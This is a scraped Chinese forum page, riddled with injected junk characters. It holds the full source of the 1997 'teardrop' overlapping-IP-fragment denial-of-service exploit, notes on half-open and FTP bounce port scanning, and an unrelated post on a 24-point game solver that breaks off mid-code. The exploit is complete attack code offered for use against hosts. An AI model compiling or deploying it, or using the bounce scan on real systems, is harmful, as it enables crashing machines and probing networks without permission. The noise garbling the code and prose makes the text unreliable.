0 e/ v$ ^  R8 ^1 `7 |, N( nif (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
2 F  W2 X, o# t6 O$ [' p. d{3 ]4 P5 d- Y* O6 J, q2 ~
i = prev-&gt;end - offset;
2 R- a: [' w' g1 Z" hoffset += i; /* ptr into datagram */
# U  B$ _! B% p; J0 t7 M. hptr += i; /* ptr into fragment data */
& |$ H8 x8 Z" L" n* m}</P><P>/* Fill in the structure. */
( R0 {4 [0 J. l& K" }fp-&gt;offset = offset;- R( L) }% g) f4 V9 s& @' q
fp-&gt;end = end;, g- r' |$ u3 f7 V5 D9 c9 U# B
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:; U1 l0 r; Y) W' n
第一个碎片:mf=1 offset=0 payload=20
" b+ Q+ ^4 a3 x: h敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 % P3 X# N1 t1 ~6 G
offset=0
7 y: d' b# ^% E这样第二个碎片的 end=9+10=19
1 D- m2 Q+ B  F" c: coffset=offset+(20-offset)=20/ o5 i) r2 j5 D% L% e. `, W- @% t
fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
; y  i2 N4 a% [5 C  p" q6 x* G! N/*
0 n. G9 z* M+ M; S$ M* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
2 H* d+ M3 \3 |. W. ~# n8 x0 n& Y& u*' X! K# `; }$ v. V5 Q+ s  ^
* Linux/NT/95 Overlap frag bug exploit
) B& O7 U  R( Y% i  H& r** V: }$ p( J& _$ R" `& r( N; S
* Exploits the overlapping IP fragment bug present in all Linux kernels and& j+ X) U+ m8 r. w1 B5 Q
* NT 4.0 / Windows 95 (others?)  }  Q2 X, m2 f, k
*# s8 S. n% R- S
* Based off of: flip.c by klepto
- h# K! Q9 [* x. b: P# b& o6 b2 C9 `* Compiles on: Linux, *BSD*
* b( I" N" Z/ {- ^) p4 ^3 s*) M+ s- U% K4 D0 {2 ^
* gcc -O2 teardrop.c -o teardrop
9 e0 A& G+ S) o- e* OR6 F% `3 l5 m/ g
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING8 V* ~# ]' d* T* `. V
*/</P><P>#include <STDIO.H>& t: O# O% H4 m$ ?5 \& J3 G
#include <STDLIB.H>
1 L9 z) l% b+ x) }' X#include <UNISTD.H>* Q+ d# D7 D( w- U) e' J) q2 n
#include <STRING.H>
  P& m8 X! d) d6 j# C% g#include <NETDB.H>
% ]$ y! k$ c4 ^8 Y#include <NETINET in.h># J' |! g: ?8 `! s2 \
#include <NETINET udp.h>
. P' x- b6 K; j/ n# j#include <ARPA inet.h>
. E* [, y& A! b5 Y7 F#include <SYS types.h>0 l- h/ [( P1 Y1 u
#include <SYS time.h>
6 u: a" P  W' @' F0 h& X#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING% ~- [3 ]( q6 `+ l9 Q
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */  G' G5 d# H' \+ X: u2 K
#define FIX(n) (n)
2 H* K3 K; s4 @+ Y9 @#else /* OpenBSD 2.1, all Linux */
& U2 W: O8 G4 Q4 C& f, j: C# O, R#define FIX(n) htons(n)
4 m( A6 @4 D( H& o- H6 z  Z#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
( P/ o' t$ I' z#define IPH 0x14 /* IP header size */  U, V& _0 X6 O: H3 `; `) s7 ~
#define UDPH 0x8 /* UDP header size */
( Q; t( i9 m$ N* E/ y# {#define PADDING 0x1c /* datagram frame padding for first packet */( U$ Z6 m) P: V
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */7 K  ~0 _9 S; |# ~+ j) f
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can  f" i" S4 M3 i5 t, i9 m. ]
* withstand maybe 5 or 10 sometimes... Experiment.
! K# a* O9 n2 ^# }. e3 i! _0 J*/</P><P>void usage(u_char *);
3 N3 h* S4 \& a' l3 N8 i3 ou_long name_resolve(u_char *);
; d9 Z# k- g% K: L. ?& {u_short in_cksum(u_short *, int);! U! j- n" D1 o/ ^; j6 |
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv); Z1 |2 J% [# w  i& E
{
3 O- w* O2 h% O! o, G6 n. K  R" Nint one = 1,
9 s% H  p/ v3 V1 D. b% |% kcount = 0,
# ]  c# i# b- _+ S# g3 @5 b$ j+ Di,
, j" M% F) B0 W. c" frip_sock;
2 c; K% y& L- H" ru_long src_ip = 0, dst_ip = 0;/ [1 I0 G9 t5 l4 ]; G5 m3 D2 Q" y
u_short src_prt = 0, dst_prt = 0;. ?! D: ^4 o  _. o7 K! W$ b! C
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW; E, e  i# S; W: O( i) }
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)" S: u" ~& M3 [. y3 g! b5 q
{  B6 W* K: [& R! z$ ~0 g
perror("raw socket");
* A! j* F" I. p( B: }5 F( aexit(1);
1 k; \, d$ ?, u1 _" S2 n}
; ~. s* C! d  x9 Q! W//由系统处理IP校验和。- ]5 S/ g* m0 U, c( B  n0 H  [
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))3 R6 K/ ]- J. u$ g+ u" i
&lt; 0): X3 V( p. a9 ^! v' x# p
{
5 v2 H' h  l# j5 f. k# Dperror("IP_HDRINCL");
  K; C4 @. N: oexit(1);# ~; K3 A- p. n/ I$ v  @
}</P><P>if (argc &lt; 3) usage(argv[0]);
3 s: r- v" M/ I0 w# J$ b: hif (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
: u- {$ i! H+ F1 y4 W/ i+ K0 U! ?{& b7 o! n# ?! E8 a8 L
fprintf(stderr, "What the hell kind of IP address is that?\n");
( w/ v% [. l7 A7 t, G+ \3 bexit(1);
. m, u: N8 ]& C) V2 ^4 |: O}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)4 h! Z* L5 j; k
{  S* s$ }. F+ o
switch (i); }6 N# }0 K& J1 a$ {6 e4 @
{& O" x$ \/ D' b7 [4 C# I9 ~  j# C
case 's': /* source port (should be emphemeral) */
# C# f2 ^; n4 u3 X- Asrc_prt = (u_short)atoi(optarg);5 v- P" e5 h. L4 a6 M* O
break;8 f& X! s7 c; w5 M4 V
case 't': /* dest port (DNS, anyone?) */  L% c. b4 w, E$ n% T
dst_prt = (u_short)atoi(optarg);. G4 b) |& ]) h& e  `+ b. n
break;
2 n0 |, r7 |6 }; f9 K) kcase 'n': /* number to send */
. `2 R% @% q' Ycount = atoi(optarg);
+ J9 Q( u! ]2 B9 i# N" \$ {/ kbreak;7 j3 V7 h/ E& m* ~
default :& R+ k: @, W: Q4 j( p
usage(argv[0]);
8 r  y! c/ e& K6 J# xbreak; /* NOTREACHED */
) ?0 L4 M- Q9 k" L: @}1 S7 }5 D; E! `( ^" g
}</P><P>srandom((unsigned)(time((time_t)0)));( Y# F- o) v% b% |( ]# {
if (!src_prt) src_prt = (random() % 0xffff);
7 c1 y3 j) ?1 ~( h  @0 Wif (!dst_prt) dst_prt = (random() % 0xffff);7 {& m5 m- Q. x! ^/ `' _; o  @
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
+ U* b$ ~0 Q6 R, ^/ B. [4 Taddr.s_addr = src_ip;
- C: @: y- ]$ i& l# Ffprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);0 G9 G1 v3 n# `/ U0 e" M' e
addr.s_addr = dst_ip;
. o) Y3 ^, x/ R6 Dfprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
4 H  K, A5 `7 C/ O0 ]" r. |fprintf(stderr, " Amt: %5d\n", count);( d  y; b9 r) n6 t+ |
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
7 o, v5 u) l% Y1 [' ^{
! B$ i4 }' u' k  ~6 C* A! l+ R7 A8 Psend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);* `4 K9 w5 g2 ]7 R, R
fprintf(stderr, "b00m ");" E9 ~) _# `( U5 r' ]) ]& |
usleep(500);  |9 _! Y. u0 e5 _3 o
}
3 C4 v$ j. E: e, n/ [& xfprintf(stderr, "]\n");2 O- C3 I! l% `6 \
return (0);) C# B: j+ R. J
}</P><P>/*
$ G& C0 Z% s* G7 M" t3 `" o0 [/ R! P) O* Send two IP fragments with pathological offsets. We use an implementation
* h( o. k1 e( y* j* independent way of assembling network packets that does not rely on any of1 e8 Z) @( k" O$ @
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).: }, P2 O2 x3 ]0 s$ r# @
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
9 X/ H% M7 X; d* E' ?u_short dst_prt)
1 n2 K- x" M3 y{- R; V9 h0 ]( A$ ~$ e& }
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
: h' p6 l- p0 D; r' Ju_char byte; /* a byte */
' e- I3 w9 c  k& Z) B9 D6 Lstruct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;6 z/ |" T" l5 z6 n
sin.sin_port = src_prt;
" a/ _  c' g9 }  y) V: Fsin.sin_addr.s_addr = dst_ip;</P><P>/*
3 g: \& C* g7 _: `* Grab some memory for our packet, align p_ptr to point at the beginning* A) Y$ p( q6 F' x7 H& ]( {+ ?( i
* of our packet, and then fill it with zeros.
5 D+ o& r6 [# D! a  F* t3 _# q+ p*/4 A4 {; I! @2 R8 \) E0 ~
packet = (u_char *)malloc(IPH + UDPH + PADDING);
( ?" `5 c2 ]/ ]' ^1 l" _p_ptr = packet;( t7 P' J2 a9 g- Q7 V. ?
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */# {+ j% b! ^% z3 I" q) T: g) V& V
memcpy(p_ptr, &amp;byte, sizeof(u_char));5 t1 M! y: L+ o" M: A
p_ptr += 2; /* IP TOS (skipped) */
  V6 J; ?$ A; t4 A3 G, a*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */% M/ W7 a, N+ C9 c5 _1 m- P
p_ptr += 2;
. r- ~0 }( [% A2 i( m( ~*((u_short *)p_ptr) = htons(242); /* IP id */% Y4 d% N; _3 v
p_ptr += 2;
" h5 D+ c. o6 ]/ G4 y, E( p*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */9 F& X% O/ R' g
p_ptr += 2;9 s- o8 x( U8 U" X
*((u_short *)p_ptr) = 0x40; /* IP TTL */. a! w; Q9 R& W  u" F
byte = IPPROTO_UDP;
7 ]7 Q4 Z+ ~/ I) amemcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
  J( w1 H" |; [) A7 k- }p_ptr += 4; /* IP checksum filled in by kernel */
0 _$ J) c3 k( n+ P! `- [*((u_long *)p_ptr) = src_ip; /* IP source address */; P/ ^, F# B. c/ V
p_ptr += 4;
6 \$ K1 C! [2 y*((u_long *)p_ptr) = dst_ip; /* IP destination address */
$ `2 X6 p& n) O8 }4 G2 x7 E1 r  Rp_ptr += 4;
* S4 Z8 {3 `3 }$ f8 i. R/ [% @) R*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */# ]; f/ P6 b; P$ c$ F* y4 [. A. T( |0 |
p_ptr += 2;
$ f6 O" d0 y, l0 a% c' i: p- G2 x* _*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */7 k! Z9 _) b* Y9 @  k& @
p_ptr += 2;8 s0 X: O& o/ ?! P
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin," h# m3 }6 Q( b4 h2 @
sizeof(struct sockaddr)) == -1), j3 z- M0 w( m) `, @
{3 ^" K- C( Q) e3 b' U9 Q/ H
perror("\nsendto");- l5 T1 T' X% x6 _
free(packet);
* Q% X7 @" b& ^1 t& \4 G  q, iexit(1);
5 k/ g* ~$ K! X$ M1 e, [% v}</P><P>/* We set the fragment offset to be inside of the previous packet's3 y. ^* c; z- i/ H
* payload (it overlaps inside the previous packet) but do not include9 a# q- b5 n' P9 T9 H
* enough payload to cover complete the datagram. Just the header will4 V  C$ b& d9 S
* do, but to crash NT/95 machines, a bit larger of packet seems to work
# w3 D% \+ {- P' w3 {9 ^" p8 ^* better.+ L( D( ]7 d; \% v. i7 ]
*/
8 c9 I. ]7 F  T5 i1 A( V; Jp_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */9 x# U6 Y# @& Y8 o) m1 U9 e: {
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);& Z: e! D: w2 v/ T
p_ptr += 4; /* IP offset is 6 bytes into the header */
. d# a5 U' H3 x# r1 R. N/ s*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
! [) O. E# K) L8 ]- `7 n+ Isizeof(struct sockaddr)) == -1)
, {% D$ C- d. P6 y) H/ E2 `{
8 n9 \5 S3 w; @9 z7 zperror("\nsendto");) j' }: O4 H- r+ H
free(packet);
& S' [& l9 m! P& Pexit(1);% j: t. {$ r$ t) f: r. _
}! A  R& u0 Z7 V& ~/ a
free(packet);
% G. K* M' A- y( r8 N( P$ {}</P><P>u_long name_resolve(u_char *host_name)
7 h# ~* v3 N& {6 \2 C2 }{
. R9 Q& T+ T' Q  T# Vstruct in_addr addr;) }/ X5 p7 K: X& F6 C- w
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)+ f- o% Z/ [& S% I0 P" t8 H
{
, V# C' t% Q) _+ C! B0 Mif (!(host_ent = gethostbyname(host_name))) return (0);) \# q0 y$ L. x& C
bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
4 g! v5 p' z( A1 x! r9 T- \}
' ]: i6 r1 J5 X, _" o3 kreturn (addr.s_addr);% Y: n1 O+ {  h6 ?0 a  k* ?8 ?5 v
}</P><P>void usage(u_char *name)
" \* S; G( X* C/ I$ C4 y% v# Y4 ?{  T& R7 S( c& x$ i$ a3 H  E
fprintf(stderr,
6 W1 `* O; F% q, v5 n8 F"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
4 d' W2 h$ p( S/ M2 x  M/ x0 Oname);$ Z$ C7 e6 y8 I. q" y, I
exit(0);, g9 ^! g) |: _- i( m
}</P><P>
& E. ^8 z' `# S  a0 P7 }$ ~! |4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法: ' q  @( L( K* |5 H- l
(1) Half-open(半打开). H# z: f/ W% B
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),7 a: f; G8 G. h. ]; j
如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
' ~, {- f, ?/ N; x; x利用了FTP的port命令,例如可以这样作:/ A, _: _2 P0 K' W4 U! d% `' B
选择一个FTP服务器,连上后令port命令指向目标机,如果返回
: X- k  x5 w* A值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则+ g! _4 ]% l* r" W
该端口无服务。* C& b& c. `) ^& V
telnet 192.168.1.13 21
" i- ^3 x8 K$ k2 {# A5 a; BTrying 192.168.1.13...9 b+ B- t, O7 |
Connected to pp.bricks.org.
  Q8 h0 g' ~4 X  ]- t+ p- S/ GEscape character is '^]'.
) i: t) f3 Z8 F  D" i220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1) ; z) q& n* d  i9 H& d/ I
Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous! ?2 D- r2 n/ z6 u6 a
331 Guest login ok, send your complete e-mail address as password.0 F! G, k7 `; ~0 J8 ^% W, ?/ C  o
pass aa@aa.aa
' H4 d% A3 @$ w. p230 Guest login ok, access restrictions apply.
; o( G5 _1 B! l3 B" V5 i- Pport a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.  O2 L0 x  X( p6 j! }' C7 l
425 Can't build data connection: Connection refused.
( I" b+ u3 e6 D//该端口未活动
9 P. K1 x: |6 z# G1 Q150 Opening ASCII mode data connection for file list.
: r: {/ i3 e; i9 s$ r226 Transfer complete.) L! t( H! M+ C; K
//该端口活动中. J* W* I0 t+ a+ N2 K# C
但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing$ z3 N8 F$ Y( o# F/ c. i0 u
SYN|FIN ACK or SYN|ACK* RST* J3 q1 @; o7 X; w
ACK Nothing RST
! r9 Z* j2 r! g* W0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
' |5 r4 b$ y  y$ z: \一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,5 h, W( a! |1 M
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认
0 Y7 t0 ^/ v. s8 {定它在向你做portscan。</P><P>notes:
' Q, c3 H9 {$ _早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
" ~( z5 W5 b4 L6 C' O+ Z- I$ U% {* ^% T而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的, m% e/ g: K9 u+ U% g
都是向它scan。</P>
作者: 韩冰    时间: 2004-10-4 02:40
< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>8 e+ @4 E( f! r4 A, M9 q- S
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。( n9 Z# y4 o4 }3 G+ K- o' q; @& i2 H

. s1 [: D) B3 [; @* [$ M+ r  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
' A6 e6 V- M. v; w# A0 j! s首先穷举的可行性问题。我把表达式如下分成三类——9 U: D& O6 r( `- L& `. X
<FONT color=#ff0000>1、 无括号的简单表达式。
$ B6 K; l! [0 W8 ?' |/ d% g2、 有一个括号的简单表达式。
! K% A6 X4 m9 E+ _3 V; i3、 有两个括号的较复4、 杂表达式。
/ o. x' \/ `& E! A</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:  K9 n, P4 Y* M3 c
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */  r2 a  |, [" J; e+ u
/* c[] 存放四张牌的数组 */" F0 O: L1 Y! _( o! Q; ~
/* k[] c[]种四张牌的代号,其中k[I]=I+1。$ d0 A  w) s2 z! s
用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */
4 V4 j: q- ?4 |- ?* M/* kans[] 暂存生成的排列组合 */- u: ?& |' R$ U; Z" l
/* j 嵌套循环的次数 */& q# O$ k4 Z4 I7 I9 O
int fans(c,k,ans,kans,j)/ W7 Z; `& y7 R  L% z& r
int j,k[],c[];char ans[],kans[];/ Y* ]* f, T- V* e$ t: N
{ int i,p,q,r,h,flag,s[4],t[4][4];
+ J# J0 S# H4 y5 k  A$ {( Vfor(p=0,q=0;p&lt;4;p++)) X$ r6 J+ W6 u/ [
{ for(r=0,flag=0;r<J;R++)
6 P5 p3 k+ u/ E/ z if(k[p]!=kans[r]) flag++;
3 v/ Y! Z4 J/ n4 k! t9 p8 P2 Rif(flag==j) t[j][q++]=k[p];" x4 J  a/ O5 v' V
}
5 E! v  c9 i- Q6 C2 a) q& rfor(s[j]=0;s[j]&lt;4-j;s[j]++)
0 p& _$ J8 ~  e' i{ kans[j]=t[j][s[j]];
* k( l1 Q( T6 a5 q3 Fif(j==3) { for(h=0;h&lt;4;h++)0 J  }2 C: @- H
ans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
6 X, S& G8 A  I: d& R- [6 R达式中的位置 */
! T4 P5 \3 S6 y" q: zfor(h=0;h&lt;3;h++)
' _, X9 e% B5 a& O8 D" osymbol(ans,h); /* 在表达式中添加运算符号 */
' O2 E/ u0 E" I3 E- f}9 S) d8 H  D# T4 f( V4 m3 O8 N
else { j++;
- x. m8 g6 o% F0 J$ g0 Tfans(c,k,ans,kans,j);
. T" y& }3 ?& l8 f' F$ l9 F& o0 Xj--;; Y  r  C8 H* n' c! m
}
  `- N& I2 ~9 {0 A  a4 P1 F}! L$ m8 ^& [) [& h
}</FONT>
! p* |6 Q' s7 E4 @! h) g/ ~  C# u! L2 G. C
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:0 I5 M  ]6 a' }/ u

! X7 }" n4 q) \, F; N4 K' y<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
/ y& \0 A* N' B% j( i* ~3 p+ Rint sans(ans,sy,j,h)' Z4 O9 y7 V" X" P
char ans[],sy[];int j,h;
2 ?5 a6 \+ @" K4 r& G{ int i,p,k[3],m,n; char ktans[20];
4 D8 J/ E( {& g7 _" ?6 cfor(k[j]=0;k[j]&lt;4;k[j]++)2 {; N) s3 Z  ~' u
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位  j) E6 }  s. F% G
这里的三个运算符号分别存放在1、3、5位*/ ' l- g6 M% e9 j3 W# O# a
if(j==2)% u. c6 |( X7 m+ x& W8 \$ Q
{ ans[5]=sy[k[j]];
3 d! Y9 A2 i* A3 y/ z. q9 Y/* 此处根据不同的表达式形式再进行相应的处理 */) ?3 H5 p1 m0 d% N
}2 w  @) U( W2 K
else { j++; sans(ans,sy,j--,h); }4 z; H3 G8 x9 [
}
$ D: j1 X" @+ N7 n% q$ V2 H}
! c/ m% v* d; K
$ k$ k" m2 w: ?6 P+ C7 U$ `</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。" `! Z0 G7 h/ I7 I  a
for(m=0;m&lt;=4;m+=2)' I; n$ R! F/ ?' f6 [0 S, h" J
for(n=m+4;n&lt;=8;n+=2)
5 a" G' s; i) [9 ]  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。8 }( R" x1 K; C' P$ V' C5 @

3 l3 c6 C2 a) r" U  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。5 n" H+ o* [  ^
</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
" R! B2 g' d- t1 z在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
& ]+ z& D) Q- G& A
; q6 k* [6 ^) ]; b  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。
% E; @1 k, X6 b% `- |6 G5 }3 I& x& C9 V8 s9 V# C
  那么作为栈的著名应用,表达式的计算可以有两种方法。
0 I. l6 p4 c. Q0 |, T( L; y( B
* O) O3 F" ]7 N  <FONT color=#ff0000>第一种方法——</FONT>
7 n. X6 A4 W- z' ]8 ^2 ~: Z" F) ]9 s  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。8 c* N/ Z+ _$ L
  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:  T4 G% L2 j+ s2 g: v5 u
1、 若W为操作数
) Z3 ]7 h; x' E2、 则将W压入操作数栈OVS/ N% A9 H3 h' m7 i1 u7 G" X
3、 且继续扫描下一个字符
# K4 d6 [* r$ ^: z4、 若W为运算符
* T9 \( G4 s) H1 v9 Q5、 则根据运算符的性质做相应的处理:) f5 K+ ?7 \& A0 J0 P) l
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。
5 y3 l3 R, f; n(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
3 ]3 X. V6 J& T2 F; G$ m(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
9 k6 E1 K9 n* U& s4 X8 c- s(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。4 E0 R, Y8 b" {$ N, m$ D

: R" F. l& ~7 F2 Q<FONT color=#ff0000>  第二种方法——</FONT>, L. p3 \# g; \! {/ `6 }
  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。' z% o" G  D  A

5 s! ^5 S0 N2 \2 [. J* |7 p0 Z  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。# D4 h3 u1 t2 \; F! V7 k

- O3 {# k1 |3 w- C6 M   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
. g) R# h  `) F  J& f1 Z5 Z9 i表达式 波兰表达式' y* A( H$ R9 O0 M& t6 s9 v( i
A-B AB-
0 W, D' p; S4 p4 N(A-B)*C+D AB-C*D+
! z# g5 j; D7 \0 q' l+ CA*(B+C/D)-E*F ABCD/+*EF*-
1 q! a; k8 p0 Q(B+C)/(A-D) BC+AD-/
# p+ [4 K+ V- [: @$ R# ]
- X3 m4 v8 t: c& m  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。* ^1 r3 M/ g# w9 C2 M3 A5 E
2 r2 x' s* q$ I' H- X) i" U
  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。8 \; X: c3 E- t1 l$ x* y

3 {  \9 I7 @9 e1 Y  下面给出转换和计算的具体实现程序——
% m% X8 M* K& v2 t' V/ \7 k# G
; J/ e5 L" w% V6 g+ ]7 L+ d4 t<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */
7 y& y- ^2 R0 S+ I/ pint first(char c)1 u, I5 U4 G+ O" X' w
{ int p;, v; k. Z; {1 {- s; t
switch(c)5 h+ I# {" }2 _
{ case '*': p=2; break;% Y% }( M7 |8 l6 j- g
case '/': p=2; break;7 i. [  O6 K+ G" g! x( }" ^# P8 u- `+ a
case '+': p=1; break;& y! @4 U# @: C
case '-': p=1; break;8 v$ ~( i( ^. t
case '(': p=0; break;/ P" z/ K5 H' Z  m3 u1 F. \
